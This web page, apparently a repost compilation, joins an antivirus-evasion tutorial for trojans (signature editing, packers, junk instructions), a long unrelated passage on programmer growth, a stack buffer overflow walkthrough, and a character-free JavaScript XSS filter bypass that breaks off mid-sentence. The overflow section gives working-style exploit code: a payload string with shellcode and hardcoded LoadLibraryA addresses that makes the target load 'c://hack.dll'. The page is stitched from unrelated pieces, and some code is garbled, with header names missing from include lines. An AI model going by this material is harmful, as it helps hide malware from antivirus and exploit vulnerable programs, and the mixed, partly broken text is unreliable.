当前位置:首页 > 生活知识 > 正文内容

教你一行代码伪装黑客(一串代码让你伪装黑客)

hacker2年前 (2023-02-11)生活知识143

本文目录一览:

菜鸟如何学习免杀?

免杀,也就是反病毒(Anti Virus)与反间谍(Anti Spyware)的对立面,英文为Anti Anti- Virus(简写Virus AV),逐字翻译为“反-反病毒”,我们可以翻译为“反杀毒技术”。单从汉语“免杀”的字面意思来理解,可以将其看为一种能使病毒木马免于被杀毒软件查杀的技术。但是不得不客观地说,免杀技术的涉猎面非常广,您可以由此轻松转型为反汇编、逆向工程甚至系统漏洞的发掘等其他顶级黑客技术,由此可见免杀并不简单

您有没有过心爱的工具被杀毒软件KILL的经历;您有没有过辛辛苦苦整理出来的工具集被杀毒软件搞成面目全非而“义愤填膺”的时候;您有没有过好不容易拿到权限,上传的木马却被杀的痛心时刻?免杀,它能做的就是避免这些事情的发生!使杀毒软件成为摆设!当然,除此之外免杀技术带给我们更多的,将是思想的飞跃与技术的成长。

但是要想真正明白免杀能做什么,就要先明白免杀会涉及到什么。对于初学者来说,免杀只会涉及到一点基本的PE文件知识与一些免杀工具的使用,而对于高手来说,免杀甚至会涉及到Ring0(内核层)的程序编译技巧。所以免杀这门课程涵盖面还是相当宽泛的。

目前国内有关于介绍黑客免杀技术的书籍共有两本《黑客免杀入门》与《精通黑客免杀》。

《黑客免杀入门》为近期出版,但其介绍的内容更加详细,内容讲解更为透彻,更有深度。

《精通黑客免杀》较早出版,因而有关于免杀技术的介绍不是很详细,但其附带的光盘中附带了几百兆的操作录像,是不可多得的宝贵资源。

手工免杀分类:

1.文件免杀和查杀:不运行程序用杀毒软件进行对该程序的扫描,所得结果。

2.内存的免杀和查杀:判断的方法1运行后,用杀毒软件的内存查杀功能.

2用OD载入,用杀毒软件的内存查杀功能.

什么叫特征码:

1.含意:能识别一个程序是一个病毒的一段不大于64字节的特征串.

2.为了减少误报率,一般杀毒软件会提取多段特征串,这时,我们往往改一处就可达到

免杀效果,当然有些杀毒软件要同时改几处才能免杀.(这些方法以后详细介绍)

3.下面用一个示意图来具体来了解一下特征码的具体概念

特征码的定位与原理:

1.特征码的查找方法:文件中的特征码被我们填入的数据(比如0)替换了,那杀毒软

件就不会报警,以此确定特征码的位置

2.特征码定位器的工作原理:原文件中部分字节替换为0,然后生成新文件,再根据杀

毒软件来检测这些文件的结果判断特征码的位置

认识特征码定位与修改的工具:

1.CCL(特征码定位器)

2.OllyDbg (特征码的修改)

3.OC(用于计算从文件地址到内存地址的小工具)

4.UltaEdit-32(十六进制编辑器,用于特征码的手工准确定位或修改)

特征码修改方法:

特征码修改包括文件特征码修改和内存特征码修改,因为这二种特征码的修改方法

是通用的。所以就对目前流行的特征码修改方法作个总节。

方法一:直接修改特征码的十六进制法

1.修改方法:把特征码所对应的十六进制改成数字差1或差不多的十六进制.

2.适用范围:一定要精确定位特征码所对应的十六进制,修改后一定要测试一下能

否正常使用.

方法二:修改字符串大小写法

1.修改方法:把特征码所对应的内容是字符串的,只要把大小字互换一下就可以了.

2.适用范围:特征码所对应的内容必需是字符串,否则不能成功.

方法三:等价替换法

1.修改方法:把特征码所对应的汇编指令命令中替换成功能类拟的指令.

2.适用范围:特征码中必需有可以替换的汇编指令.比如JN,JNE 换成JMP等.

如果和我一样对汇编不懂的可以去查查8080汇编手册.

方法四:指令顺序调换法

1.修改方法:把具有特征码的代码顺序互换一下.

2.适用范围:具有一定的局限性,代码互换后要不能影响程序的正常执行

方法五:通用跳转法

1.修改方法:把特征码移到零区域(指代码的空隙处),然后一个JMP又跳回来执行.

2.适用范围:没有什么条件,是通用的改法,强烈建议大家要掌握这种改法.

木马免杀的综合修改方法:

文件免杀方法:

1.加冷门壳

举例来说,如果说程序是一张烙饼,那壳就是包装袋,可以让你发现不了包装袋里的东西是什么。比较常见的壳一般容易被杀毒软件识别,所以加壳有时候会使用到生僻壳,就是不常用的壳。现在去买口香糖你会发现至少有两层包装,所以壳也可以加多重壳,让杀毒软件看不懂。如果你看到一个袋子上面写着干燥剂、有毒之类的字你也许就不会对他感兴趣了吧,这就是伪装壳,把一种壳伪装成其他壳,干扰杀毒软件正常的检测。

2.加花指令

加花是病毒免杀常用的手段,加花的原理就是通过添加加花指令(一些垃圾指令,类型加1减1之类的无用语句)让杀毒软件检测不到特征码,干扰杀毒软件正常的检测。加花以后,一些杀毒软件就检测不出来了,但是有些比较强的杀毒软件,像江民杀毒软件,病毒还是会被杀的。这可以算是“免杀”技术中最初级的阶段。

3.改程序入口点

4.改木马文件特征码的5种常用方法(参见“修改内存特征码”)

5.还有其它的几种免杀修改技巧

修改内存特征码:

1.直接修改特征码的十六进制法

2.修改字符串大小写法

3.等价替换法

4.指令顺序调换法

5.通用跳转法

以上文字网上都有,因而,我想说的是:

我学免杀,看你要在哪方面,通常这很难,你最少要精通一门编程语言,注意,是精通,因为这是工具,至于… …我转 梁肇新先生 在《编程高手箴言》中的话:

1.2.1 高手成长的六个阶段

程序员怎样才能达到编程的最高境界?最高境界绝对不是你去编两行代码,或者是几分钟能写几行代码,或者是用什么所谓的可视化工具产生最少的代码这些工作,这都不是真正的高手境界。即使是这样的高手,那也都是无知者的自封。

我认为,一个程序员的成长可分为如下六个阶段。

 第一阶段

此阶段主要是能熟练地使用某种语言。这就相当于练武中的套路和架式这些表面的东西。

 第二阶段

此阶段能精通基于某种平台的接口(例如我们现在常用的Win 32的API函数)以及所对应语言的自身的库函数。到达这个阶段后,也就相当于可以进行真实散打对练了,可以真正地在实践中做些应用。

 第三阶段

此阶段能深入地了解某个平台系统的底层,已经具有了初级的内功的能力,也就是“手中有剑,心中无剑”。

 第四阶级

此阶段能直接在平台上进行比较深层次的开发。基本上,能达到这个层次就可以说是进入了高层次。这时进入了高级内功的修炼。比如能进行VxD或操作系统的内核的修改。

这时已经不再有语言的束缚,语言只是一种工具,即使要用自己不会的语言进行开发,也只是简单地熟悉一下,就手到擒来,完全不像是第一阶段的时候学习语言的那种情况。一般来说,从第三阶段过渡到第四阶段是比较困难的。为什么会难呢?这就是因为很多人的思想转变不过来。

 第五阶级

此阶段就已经不再局限于简单的技术上的问题了,而是能从全局上把握和设计一个比较大的系统体系结构,从内核到外层界面。可以说是“手中无剑,心中有剑”。到了这个阶段以后,能对市面上的任何软件进行剖析,并能按自己的要求进行设计,就算是MS Word这样的大型软件,只要有充足的时间,也一定会设计出来。

 第六阶级

此阶段也是最高的境界,达到“无招胜有招”。这时候,任何问题就纯粹变成了一个思路的问题,不是用什么代码就能表示的。也就是“手中无剑,心中也无剑”。

此时,对于练功的人来说,他已不用再去学什么少林拳,只是在旁看一下少林拳的对战,就能把此拳拿来就用。这就是真正的大师级的人物。这时,Win 32或Linux在你眼里是没有什么差别的。

每一个阶段再向上发展时都要按一定的方法。第一、第二个阶段通过自学就可以完成,只要多用心去研究,耐心地去学习。

要想从第二个阶段过渡到第三个阶段,就要有一个好的学习环境。例如有一个高手带领或公司里有一个好的练手环境。经过二、三年的积累就能达到第三个阶段。但是,有些人到达第三个阶段后,常常就很难有境界上的突破了。他们这时会产生一种观念,认为软件无非如此,认为自己已无所不能。其实,这时如果遇到大的或难些的软件,他们往往还是无从下手。

现在我们国家大部分程序员都是在第二、三级之间。他们大多都是通过自学成才的,不过这样的程序员一般在软件公司也能独当一面,完成一些软件的模块。

但是,也还有一大堆处在第一阶段的程序员,他们一般就能玩玩VB,做程序时,去找一堆控件集成一个软件。

1.2.2 初级程序员和高级程序员的区别

一般对于一个问题,初级程序员和高级程序员考虑这个问题的方法绝对是不同的。比如,在初级程序员阶段时,他会觉得VB也能做出应用来,且看起来也不错。

但到了中级程序员时,他可能就不会选择VB了,可能会用MFC,这时,也能做出效果不错的程序。

到高级程序员时,他绝对不是首先选择以上工具,VB也好,VC也好,这些都不是他考虑的问题。这时考虑的绝对是什么才是具有最快效率、最稳定性能的解决问题的方法。

程序员到达最高境界的时候,想的就是“我就是程序,程序就是我”。这时候我要做一个软件,不会有自己主观的思路,而是以机器的思路来考虑问题,也就是说,就是以程序的思考方式来思考程序,而不是以我去设计程序的方式去思考程序。这一点如果不到比较高的层次是不能明白的。

你设计程序不就是你思考问题,然后按自己的思路去做程序吗?

其实不是的。在我设计这个程序的时候,相当于我“钻”入这个程序里面去了。这时候没有我自己的任何思维,我的所有思维都是这个程序,它这步该怎么走,下步该怎么走,它可能会出现什么情况。我动这个部分的时候,别的部分是否要干扰,也许会动一发而牵全身,它们之间是怎么相互影响的?

也只有到达这个境界,你的程序才能真正地写好,绝对不是做个什么可视化。可视化本身就是“我去设计这个程序”,而真正的程序高手是“我就是程序”,这两种方法绝对是不同的。比如,我要用VB去设计一个程序,和我本身就是一个程序的思维方式,是不一样的。别人也许觉得操作系统很深奥,很复杂,其实,如果你到达高手状态,你就是操作系统,你就能做任何程序。

对待软件要有一个全面的分析方法,光说理论是没有用的。如果你没有经过第一、第二、第三、第四这四个阶段,则永远到达不了高境界。因为空中楼阁的理论没有用,而这些必须是一步一步地去做出来。

一个高级程序员应该具备开放性思维,从里到外的所有的知识都能了解。然后,看到世界最新技术就能马上掌握,马上了解。实际上,技术到达最高的境界后,是没有分别的。任何东西都是相通的,只要你到达这个境界以后,什么问题一看就能明白,一看就能抓住最核心的问题,最根本的根本,而不会被其他的枝叶或表象所迷惑,做到这一步后才算比较成功。

从程序员本身来说,如果它到达这一步以后,他就已经形成了开阔的思维。他有这种开放性思维的话,他就能做战略决策,这对他将来做任何事情都有好处。事实上,会做程序后,就会有一种分析问题的方法,学会怎么样把问题的表象剖开,看到它的本质。这时你碰到任何具体的问题,只要给点时间,都能轻而易举地解决。实际上,对开发计算机软件来说,没有什么做不了的软件,所有的软件都能做,只是看你有没有时间,有没有耐心,有没有资金做支撑。

这几年,尤其是这两三年,估计到2005年前,中国软件这个行业里面大的软件公司就能形成。现在就已经在形成,例如用友,它上市后,地位就更加稳固了。其他大的软件企业会在这几年内迅速长大。这时候,包括流通渠道、经销商的渠道也会迅速长大。也就是说,到2005年以后,中国软件这个行业的门槛比现在还要高很多,与美国不会有太大的差别。此时,中国软件才真正体现出它的威力来。如果你是这些威力中的一员,就已经很厉害了。

入门最基本的方法就是从C语言入手。如果以前学过BASIC语言的话,那么从C语言入手是非常容易的。我就经历了一个过程,根本不觉得这中间有太大的难度。其实,C语言本身和BASIC没有什么两样。BASIC每个所谓的命令在C语言里面都可以做成一个函数来实现,那么你就能用那个命令组合成整个程序。从这个角度来看,BASIC和C语言没有本质的差别。C语言就是入门的正确方法,没有其他。

现在的C语言本身就包含了嵌入汇编,使学习汇编语言的时候更加方便。你可以忽略掉纯汇编里面的很多操作。也许有人觉得这个方法太慢了。但要知道,工欲善其事,必先利其器,要想成功,没有一个艰苦的过程是不可能的,所以一开始的时候就要有耐心。如果你准备花5年的时间成为高手,那我敢说,你根本不用等到5年,你只要有这个耐心就足够了,你可能2年~3年内就能达到目标。但如果你想在一年时间内就成为高手,即使5年后,你还是成不了高手。

入门和积累是很重要的。事实上,到达高手的境界以后,不管什么语言不语言的,其实都根本不用去学,只要拿过来看两天,就全部精通。如果你没有入门,即使去书店找n本书,天天背它,你也不会成为高手。

所有的语言只是很花哨的表面东西。高手马上就能透过它的表象而看到它的本质。这样才是真正的高手。他不需要再去学什么Java,或者其他什么语言。当他真正要写个Java程序的时候,只要把Java程序拿过来看一看,瞄一瞄书,就全都清楚了。如果这时他学VB就更容易了,我想他不用一天的时间,就能学会。到达高手的境界以后,所有的事物都是触类旁通的。

当你成为C语言的高手,那么就你很容易进入到操作系统的平台里面去;当你进入到操作系统的平台里去实际做程序时,就会懂得进行调试;当你懂得调试的时候,你就会发现能轻而易举地了解整个平台的架构。这时候,计算机基本上一切都在你的掌握之中了,没有什么东西能逃得出你的手掌心。

上面只是针对程序的角度说明,另外一点也很重要,即好的程序员必须具备开放性思维,也就是思考问题的方法。程序员,尤其现在很多的程序员,都被误导从MFC入手,这就很容易形成一种封闭式的思维模式。这也是微软希望很多人只能学点表面的东西,不致成为高手,所以他大力推荐MFC之类的工具,但也真有很多人愿意去上他的当,最后真正迷失方向。说他做不了程序吧,他也能做程序,但是如果那个程序复杂一点,出现问题时,问题出在哪里就搞不清楚了,反正是不清楚。如果你真正有一种开放性的思维,在你能够成为高级程序员的时候,对MFC这些是不屑一顾的,MFC、VB根本不会在考虑的范围之内。

事实上很多人,包括外面很多公司里面工资挺高的人,可能一个月能拿五、六万的这些人,他们的思维也不一定能达到很高的境界。但是,他确实做了很多的事情,已经有很好的积累了。但要上升到更高的境界上,就要有正确的思维方法。这就是为什么比尔•盖茨说,他招人的时候宁愿招一个学物理,而不是学编程的。学物理的人会有非常非常广的思维,他考虑的小到粒子,大到宇宙,思维空间非常广阔,这样,他思考问题的时候,就会很有深度。

有人研究物理研究得比较深的时候,他能针对某个问题一直深入进去。很多写程序的人只会注意到这行代码或那行代码,则比较起来则显得肤浅。所以,编程的时候也要深入进去,把你的爱好、你的所有思维都放进去,努力做到物我合一的境界。

1.3.1 规范的格式是入门的基础

以前所有的C语言的书中,不太重视格式的问题,写的程序像一堆堆的垃圾一样。这也导致了现在的很多程序员的程序中有很多是废码、垃圾代码,这和那些入门的书非常有关系。因为这些书从不强调代码规范,而真正的商业程序绝对是规范的。你写的程序和他写的程序应该格式大致相同,否则谁也看不懂。如果写出来的代码大家都看不懂,那绝对是垃圾。如果把那些垃圾“翻”半天,勉强才能把里面“金子”找出来,那这样的程序不如不要,还不如重新写过,这样,思路还会更清楚一点。这是入门首先要注意的事情,即规范的格式是入门的基础。

1. 成对编码

正确的程序设计思路是成对编码,先写上面的大括号,然后马上写下面的大括号。这样一个函数体就已经形成了。它没有任何问题。然后,比如你要写个for循环,这时候先申明一个变量I,再写这个for循环。写上面的大括号,马上写下面的大括号,然后再在中间插一二行代码。插这段代码后,如果你又要用到新变量,则再在头上添加新的变量,然后再让它进行工作。这就是一种成对编码。

这样,当你用到一个内存的时候,写一个分配函数分配一块内存,马上就接着写释放这块内存的代码。然后你再在中间插上你要用这个内存做什么。这是正确的快速的编程方法。否则,你去查或调试代码都无从下手。针对这个程序来说,如果用成对编码,则它任何时候都是可以调试的,不需要你整个程序都写完后才能进行调试。

它是任何时候都可以编译调试的,甚至你写了两个大括号,中间什么也没有,它是空的时,你都可以进行调试。你写了第一个for循环,它也可以进行调试,当你又写了一个分配内存、释放内存以后,它还可以进行调试。它可以编译运行,里面可以放断点,这就是成对编码。

成对编码就涉及到代码规范的问题。为什么我说上面一个大括号,下面一个大括号,而不说成是前面一个大括号,后面一个大括号呢?如果是一般C语言的书,则它绝对说是后面加个大括号,回过头前面加个大括号。事实上,这就是垃圾程序的写法。正确的思路是写完行给它回车,给它大括号独立的一行,下面大括号也是独立的一行,而且这两个大括号跟那个for单词中间错开一个TAB。

代码一定不能乱,一定要格式非常清楚,这点使你写的程序我能读,我写的程序你也能读,不需要再去习惯彼此的不同写法。

而且结合成对编码思维,这时候你去读一个程序的时候,你会发现,你读程序的方法变了。以前读程序的时候,你可以先去读它的变量是什么,然后再读第一行、第二行,读到最后一个大括号,这是一种读程序的方法。现在就不一样了,现在读程序的时候就养成了一种习惯,就是分块阅读程序,很明显两个大括号之间就是一块代码。

那么写出一个程序后,你要读这个程序是干什么的,只要看这个大括号和那个大括号之间的部分就可以了,不需要再去读其他的代码是干什么的。比如,你从Linux中或网上下载了一个“烂”程序后,该怎么去阅读它?最好的方法是先把程序所有的格式都整理好,先别去读它。把所有的格式按照这种规范化的方法,把它的括号全部整理好。这时候你再读那个程序,只要半分钟就读懂了,但是你可能要整理一个小时。但如果不这样做,你可能读两个小时都读不清楚该程序。

这点绝对不会有人告诉你,现在没有人去讲解这方面的技巧。这也是我写了那么多的程序,才总结出来的。一开始的时候,我也像那些教科书所教导那样写,后面放个大括号,前面放个大括号,甚至括号连括号,一连四个括号,每个括号对哪个最后都找不清楚。编译告诉你好像少了一个括号,于是找呀,找呀,上面找,下面找,而这个程序又很大,只有一个函数,上面在上屏,下面在下屏,最后翻来翻去也翻不出。

所以我就想,大括号之间要互相对应,即使不在一个屏幕内,也能很容易地看到它,因为只要光标落在这个大括号里面,往上去找,即能找到它头上的那个与此对正的,而且这些代码是在一起的。这一层代码和下一层代码是互相隔开的,我只要读这层代码,下面那一层代码就不需要了。

比如,它有n个for循环的时候,我只想看某一个for循环,这时我只要对正大括号,它的光标往上走,一下就能找到了。如果按照教科书那样写的话,你要读呀,读呀,要把所有的代码,把所有的for

循环都读一遍,才可能找到你要的东西。这就是成对编码和规范化的方法(详细叙述请参考代码规范一章)。

在软件没有形成行业,程序等同于软件的时候,那时候程序很容易体现出价值来。只要得到代码,就相当于得到这个软件。但现在就不同了。现在的程序都不是几行,你写出的程序,如果又没有注释,格式又很乱,你拿过来给我,我还得花很长的时间才能读得清楚,那这样的程序的代码有价值吗?

我经常听到一些程序员在外面兜销代码,很多是学校的学生,尤其那些素质比较差的研究生,和老师做了一个项目后,他拿出来到外面到处去卖,但是他最后可能卖出去吗?最后可能还是没卖出去,因为那个程序很庞大。如果某个公司买了这个程序以后,该公司还得招一个人去读这个程序,当这个人读懂以后,他又离职了,那公司买这个代码干嘛?2. 代码的注释

代码本身体现不出价值来,有价值的代码一定是不仅格式非常规范,而且还要有很详细的设计思路和注释,这个是很重要的。首先要养成这种习惯,教科书里面很少讲为什么要做注释,注释应该怎么注。有些人爱在哪儿下注释就在哪儿下注释,甚至在语句中间也加,中间也可弄两个斜杠放两个花括号写点注释。

注释格式是非常重要的,但很少有人去注意它。现在的程序如果没有注释,则基本上是没法用的,也就跟你拿一个可执行程序没什么两样,你拿过来还不能随便改,你改了后编出来的程序绝对不能用。所以,程序如果没有详细的注释,别人就算拿到了代码也没有用,体现不出它的价值来。

Linux是个操作系统,很厉害呀!其实那些程序你拿回来,耐心地去读它,会发现,它里面乱得很,那个内核程序除了作者自己能读懂外,别人可能要花很长的时间才能读懂。Apache的作者对自己Apache那套代码是很清楚,但换一个做浏览器的人去读,也会很困难。一般人只把代码复制下来后,打个BUILD命令看看能不能正确地编译,最后能正确编译的程序就是好的,如果不能正确编译的程序就删掉吧,再下载一个,因为他没有正确的对待代码的那种思维,而只是认为那代码本身才有很大的价值,不用关心有没有注释。

如果代码没有注释和规范,是没有价值的,这也是现在为什么很多的个人跑去卖源程序的时候,很多的公司都不要。我们不是说没有技术,任何程序都能做,只是时间的问题,而且像视频中有的技术,比那些卖代码的技术还要深得多。真正要做一个有价值的程序,开发程序的思维就很重要,这种思维的具体体现就在注释及规范的代码本身。

1.3.2 调试的重要性

调试是很重要的一个部分。所有的程序都是调试出来的,不是写出来的。讲怎么去调试,实际上就是讲一种解决问题的思路。所有的程序写出来后一定是有问题的,既然有问题,就一定会有一个解决问题的思路。解决问题的方法就是调试的方法。

用VB或者是MFC做出来的程序,先运行一遍看看什么地方有问题,如果发现有问题,重新改一改,然后又重新运行。这种方法是还没有入门的调试方法,即是看直接的表象。这种方法既浪费时间,又不能消除隐患。

调试是很重要的内容,如果要进入高深境界,调试是除了了解设计程序、平台以外,一个非常重要的难关。如果要成为高级程序员,就必须过这一关。如果不懂调试,则永远成不了高手。在学习调试的过程中,对汇编语言、体系结构会有进一步的了解。

你可能觉得我把调试的作用说得言过其实了,举例子说明一下吧。请把以下的C程序改写成汇编代码:

int i;

extern int In[],Out[];

for(i=0;i100;i++)

{

Out[i]*=In[i];

}

我发现90%的人写出来的汇编代码可能是不正常的或有错误的。要么是不了解32位汇编,要么是不循环,要么只有循环没有处理等。这是为什么呢?因为就算是一段小小的代码,如果没有经过调试,也可能错误百出。

如果你是初级一点的程序员,则如果程序出了问题,也不知道原因所在。怎么回事呀?我就是搞不清楚。要搞清楚首先要调试,这就涉及到调试的问题。比如说,放到一个文件里面的,它出错了,我查程序看了n遍,它就是没有任何问题,这时候该怎么办呢?这时的解决方法就是调试,调试能使得一个程序正常地运转起来。如果对于程序员来说写这个程序可能只用了一天的时间,但是调试可能会花他二三天的时间。一个程序绝对是调试出来的,不是编出来的。如果说哪个系统是编出来的,那它肯定会有很多性能方面的问题,包括可能有不可预测的各种各样的问题。

程序出现问题的话,要能考虑到各种各样可能的情况,绝对没有任何臆测。比如,有可能完全是编译器的错误,也有可能因你程序里面增加了什么,而对程序产生干扰,甚至还有一种可能是你的指针基本就没有给它赋值,指向了别的地方,把别的东西破坏了。这些情况太多了。还有一种常见的错误,即MFC里面很常见的一种设计思维,就是任何一个东西,只管创建,不管释放、销毁。这种思路是现在很多程序员做的程序没用几下就会死机的原因。这绝对是错误的设计思路,而MFC让你这么做,就是让你永远成不了高手,你写的程序永远不可能稳定。

如何利用缓冲区溢出的程序错误来运行黑客程序

上回说了,我们可以在一个有缓冲区溢出漏洞的程序中执行程序中其他的函数,当然,也可以执行程序中其他的指令。还是以上次讲过的程序为例:

程序A:

#include stdio.h

#include string.h

void foo(const char *input)

{

char buf[10];

strcpy(buf, input);

}

int main(int argc, char *argv[])

{

foo("1234567890123456123456123456");

return 0;

}

启动VS 2005,然后将断点设在函数foo中strcpy的后面,断点执行到了以后,进入反汇编窗口,单步执行到该函数最后一行汇编指令,也就是ret指令,在内存窗口中查看寄存器esp保存的内存地址所存放的值,当然你的内存窗口的显示方式应该是4字节显示方式(x86或者说是32位机器上)。你可以看到该值也已经被foo的参数12345678那些字符串覆盖了,然后你可以看看esp的值和ebp的值刚好相差8个字节。就是说,内存中的形式是这样的:

ebp的值 esp的值

^ ^

| |

--------------------------------------

| |函数返回地址| |

---------------------------------------

而你再看看foo函数最后几个汇编指令:非常标准的函数退出时,所作的栈销毁操作:

mov esp ebp

pop ebp

ret

在ret指令执行完成以后,esp的值就会是foo函数的ebp + 8。

如果我们在esp所指向的内存地址上存放我们的shell code(或者说是我们刻意编写的汇编代码),然后将函数返回地址更改为调用我们的shell code的地址,那么我们所编写的shell code也就会被执行,这时就可以干任何我们想干的事情了,;)。

下面是步骤:

1,编写一个dll,其实exe程序也可以,只不过方法略有不同,如果你是直接执行exe程序的话,可以使用WinExec。这里因为我要导入我编写的dll进入程序A,所以使用的WINAPI函数是LoadLibrary,LoadLibrary需要一个参数,指明要加载的dll的文件路径。

2. 在我编写的dll中,处理的事情很简单,就是启动一个程序,呵呵,下面是源代码:

#include

"stdafx.h"

#include stdio.h

#include windows.h

#ifdef _MANAGED

#pragma managed(push, off)

#endif

BOOL APIENTRY DllMain( HMODULE hModule,

DWORD ul_reason_for_call,

LPVOID lpReserved)

{

STARTUPINFO si;

PROCESS_INFORMATION pi;

ZeroMemory( si,

sizeof(si) );

si.cb = sizeof(si);

ZeroMemory( pi, sizeof(pi) );

switch ( ul_reason_for_call )

{

case DLL_PROCESS_ATTACH: // 每次一个新的进程加载该dll的时候,触发这个条件

WinExec("C://WINDOWS//notepad.exe", SW_SHOW);

break;

default:

break;

}

return TRUE;

}

#ifdef

_MANAGED

#pragma managed(pop)

#endif

3.为了调用LoadLibrary,我们需要写一些汇编指令,因为cpu执行的是机器码,而不是汇编指令,所以你要将汇编指令转换为机器码。转换很简单,在你的代码里面加上下面这几行:

int main()

{

_asm {

jmp esp

}

}

将断点设置在main函数的开始处,执行程序,程序中断后,去反汇编,你会看到类似下面的代码:

00401763 FF E4 jmp esp

00401763是这段汇编码在程序中的地址,FF E4就是jmp esp对应的机器码了。呵呵,如果没有FF E4出现的话,在反汇编窗口中右键单击,选择“Show Byte Code”(VS 2005英文版)。

现在腰调用esp中的地址,可以是jmp esp也可以是call esp,但是这个代码必须是进程中已有的,OK,我们在程序中找到这个地址。再次运行程序A,在main函数中设置断点,中断后,选择Debug -- Window -- Module查看这个程序所有加载的dll(无论是动态的还是静态加载的)。程序A中不出意外的话应该有kernel32.dll和ntdll.dll,还有可能有msvcrt8.dll。

我们找一下这些dll里面有没有对应的机器码,怎么找?怎么把一个dll反汇编?呵呵,VS 2005里面自己就带了一个反汇编工具:dumpbin,路经在C:/Program Files/Microsoft Visual Studio 8/VC/bin。dumpbin有一个选项/disasm就是将任何一个PE文件(DLL或EXE)反汇编

打开cmd窗口,执行dumpbin /disasm c:/windows/system32/kernel32.dll | findstr /c:"FF E4",哦哦,没有。再试ntdll.dll,还是没有。试一下call esp,它的机器吗是FF E5。kernel32.dll里面没有,啊哈,ntdll.dll里面有,这是搜索结果:

7C914393: FF E5 call esp

4.编写shell code,调用LoadLibrary,需要知道LoadLibrary函数的地址,获取的办法是这样的:LoadLibrary是在kernel32.dll中的,启动Depends.exe,Depends.exe包含在Windows SDK中,你也可以去网上搜一下,下载一个回来用,实在找不到,那我就牺牲一下自己啦。

随便用depends打开一个exe文件,在左上角的依赖树里面点击kernel32.dll,在右边第二个窗口中找到LoadLibraryA这个函数,可以看到它的Entry Point是0x000445EF,如下:

E | Ordinal | Hint | Function | Entry Point

---------------------------------------------------------------------------------------------

754 (0x02F2) | 753 (0x02F1) | LoadLibraryA | 0x000445EF

操作系统不一样,值可能不一样,在最下面的窗口中找到kernel32.dll的base address(Preferred Base)是0x77E00000,如下:

Module | ... 中间很多省略 ... | Preferred Base

-------------------------------------------------------------------------

Kernel32.dll | .... | 0x77E000000

将Kernel32.dll的Preferred Base和LoadLibraryA的Entry Point按位于就获得LoadLibraryA在你的程序中的地址是:0x77E445EF。

5。最后编写汇编代码执行你的黑客程序:

_asm {

mov eax 0x77E445EF // 将LoadLibraryA的地址存在eax寄存器中

call L4

L2: call eax // 调用LoadLibraryA,程序执行到这段指令时LoadLibraryA的参数已经压栈

L3: jmp L3 // 循环,确保被黑的程序不会死掉

L4: call L2

}

6。最后,示例程序如下:

#include

stdio.h

#include string.h

void func(char *p)

{

char stack_temp[20];

strcpy(stack_temp, p);

printf(stack_temp);

}

void foo()

{

printf("This should not be called");

}

int main(int argc, char *argv[])

{

func("I AM MORE THAN TWENTLONG/x93/x43/x91/x7C"

"/xB8/x77/x1D/x80/x7C" // mov eax 0x771D807C LoadLibraryA的地址

"/xEB/x04" // call L4

"/xFF/xD0" // L2: call eax

"/xEB/xFE" // L3: jmp L3

"/xE8/xF7/xFF/xFF/xFF" // L4: call L2

"c://hack.dll/0"); // LoadLibraryA的参数,也就是我们要刻意加载的dll文件

return 0;

}

完了,累死了

Java script 看看黑客怎么写的

($=[$=[]][(__=!$+$)[_=-~-~-~$]+({}+$)[_/_]+($$=($_=!''+$)[_/_]+$_[+$])])()[__[_/_]+__[_+~$]+$_[_]+$$](_/_) 这是一段完全合法的java script 代码,效果相当于alert(1)。它可以在大部分浏览器上运行。(虽然目前我测试过手头的浏览器都能运行,但理论上不能保证所有浏览器都能正确运行,原因见下文) 这段代码的好处(对于黑客)是,它不包含任何字符或数字,可以逃过某些过滤器的检查。比如说,如果假定一个AJAX请求将返回一个只包含数字的JSON,于是很可能会简单判断了一下其中不含字母就直接eval了,结果给黑客们留下了后门。上面的代码功能很简单,只是alert(1),但使用同样的原理,完全可以干出更复杂的事,例如alert(document.cookie)。更重要的是,这段代码再一次提醒我,黑客的想象力是无限的……正如Ryan Barnett的演讲标题:"XSS:The only rule is no rule"。 我们可以把它分为两个部分来理解:第一部分:($=[$=[]][(__=!$+$)[_=-~-~-~$]+({}+$)[_/_]+($$=($_=!''+$)[_/_]+$_[+$])])()第二部分:[__[_/_]+__[_+~$]+$_[_]+$$](_/_) 其中第一部分是核心,我们首先对它进行分析,先缩进一下: ($= [$=[]][ (__=!$+$)[_=-~-~-~$] + ({}+$)[_/_] + ($$= ($_=!''+$)[_/_] + $_[+$]) ] )() $ = []; //1 __ = !$+$; //2 _ = -~-~-~$; //3 $_=!''+$; //4 $$ = $_[_/_] + $_[+$]; //5 $= [$][ __[_] + //6 ({}+$)[_/_] + //7 $$ //8 ]; //9 $(); //10 现在来一行行看: 1. $先赋值为一个空数组 (后面会被覆盖) 2. __ = ![] + [] = false + [] = "false" 这里利用了java script 运算的强制类型转换特性。首先空数组是一个非null值,因此![]的结果是false(布尔型)。在计算false + []时,由于数组对象无法与其他值相加,在加法之前会先做一个toString的转换,空数组的toString就是"",因此事实上在计算false + ""。这时false被自动转换为字符串。最终结果是"false"+"" = "false"。 **换句话说,在$为空数组时,使用 “+$”的方式可以将任何一个值转为字符串** 3. 在计算~[]时,~需要一个数字操作数,空数组无法直接转换为数字,则作为0处理。因此~[] = ~0 = -1 参考: ~3 = -4 ~[3] = -4 ~[3,2] = -1 (无法转为数字) ~"3" = -4 ~"abc" = -1 因此: _ = -~-~-~[] = -~-~-(-1) = -~-~1 = -~-(-2) = -~2 = -(-3) = 3 理论上,可以用这种方式得出1-9所有数字 4. !''是true,使用+$将其变为字符串 "true" 5. 这里需要注意的是,之前一直用“值+[]”来获得“值”的字符串形式。而“+[]”则是0(正号导致[]被自动转换为数值0)。因此:$$ = "true"[3/3] + "true"[+[]] = "true"[1] + "true"[0] = "rt" 6. __[_] = "false"[3] = "s" 7. ({} + [])导致空对象{}被转换为字符串"[object Object]", 因此({}+$)[_/_] = "[object Object]"[1] = "o" 9. 这里把$覆盖为 [[]]["s"+"o"+"rt"]。注意这里[[]]本身是一个包含空数组的数组,其实对这一步来说,任何一个数组都没有关系(不一定要是嵌套数组),但作者巧妙地把$的首次赋值式放在了数组内部,使代码更为紧凑。最终结果是,$ = [[]]["sort"] = [[]].sort = Array.prototype.sort。 10. 调用$(),作为整个表达式最终的取值。需要注意,$是全局范围的,是window的一个属性,相当于window.$。而Array.prototype.sort会返回this。对于window.$来说,this就是window。因此,整个第一部分的值,就是window本身!当然,这个过程的正确运作依赖于当前浏览器的Array.prototype.sort实现能对this为window的情况容错。 通过第一部分,我们已经获得将任何值转换为字符串的简单方法,并能产生任意的数值,理论上就可以从java script 